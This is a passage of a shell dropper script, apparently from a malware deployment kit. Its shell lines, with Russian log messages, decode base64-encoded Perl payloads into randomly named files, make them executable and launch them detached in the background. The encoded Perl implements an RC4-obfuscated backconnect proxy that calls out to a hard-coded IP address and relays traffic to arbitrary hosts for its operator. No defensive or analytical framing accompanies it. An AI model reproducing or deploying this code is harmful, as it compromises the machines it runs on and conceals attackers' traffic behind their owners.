MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #53 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #53 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 54 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ 